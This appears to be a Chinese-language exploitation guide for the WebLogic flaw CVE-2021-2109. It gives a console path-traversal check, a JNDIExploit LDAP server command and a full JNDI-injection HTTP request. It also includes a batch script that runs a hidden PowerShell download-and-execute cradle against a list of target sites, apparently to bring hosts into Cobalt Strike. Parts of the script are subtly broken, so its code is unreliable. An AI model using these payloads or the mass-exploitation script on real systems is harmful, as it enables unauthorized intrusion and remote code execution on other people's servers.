CVE-2021-2109

漏洞检测
访问url：http://xxx.xxx.xxx/console/css/%252e%252e/consolejndi.portal
如果出现未授权访问则一般可以直接打了，由于这个漏洞的利用过程就需要目标服务器访问自己vps上的服务，所以只要能利用那目标肯定是要能出网的，那就是CS的战场了

漏洞复现
网上很多，我简单过一遍
在vps上开启服务：
java -jar JNDIExploit-v1.11.jar -i [vps_ip]

JNDIExploit-v1.11.jar文件见附件
修改一下ip然后直接发包打就可以了(xx是目标，yy是自己的vps)：

数据包：
GET http://xxx.xxx.xxx/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://yy.yy.yy;yy:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate cmd: whoami Connection: close Cookie: ADMINCONSOLESESSION=1TMygM7C2dqR37SN9bCmnPwW6lKDt3ckknnbCvkpSqmZ43vCpvw2!-1136623495 Upgrade-Insecure-Requests: 1

批量脚本源码（这个只是利用powershell上线windows，在当前目录下创建websites.txt，里面放检测的url）：
`#coding: utf-8
import os
import time
import requests
import threading,queue,urllib3

q=queue.Queue()
urllib3.disable_warnings()

#处理文件
file = open(‘websites.txt’,encoding=”unicode_escape”)
for x in file.readlines():
if ‘http://‘ in x.strip() or ‘https://‘ in x.strip():
q.put(x.strip())
else:
q.put(‘http://‘ + x.strip())

#测试代理
proxies = {
‘http’:’127.0.0.1:8080’,
‘https’:’127.0.0.1:8080’
}

#请求头
headers = {
“User-Agent”: “Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)”,
“Accept-Encoding”: “gzip, deflate”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“cmd”:”powershell.exe -nop -w hidden -c \“IEX ((new-object net.webclient).downloadstring(‘http://192.168.15.184:80/a’))"",
“Content-Type”:”application/x-www-form-urlencoded”
}

#扫描函数
def scan():
while not q.empty():
u=q.get()
url=u+”/console/css/%252e%252e/consolejndi.portal?pageLabel=JNDIBindingPageGeneral&nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.15;184:1389/Basic/WeblogicEcho;AdminServer%22)”
try:
res=requests.get(url, headers=headers,verify=False,allow_redirects=False,timeout=20)
else:
pass
except:
pass
lock = threading.Lock()
th=[]
th_num=30
for x in range(th_num):
t=threading.Thread(target=scan)
th.append(t)
for x in range(th_num):
th[x].start()
for x in range(th_num):
th[x].join()
`

附件
cve-2021-2109批量.py
JNDIExploit-v1.11.jar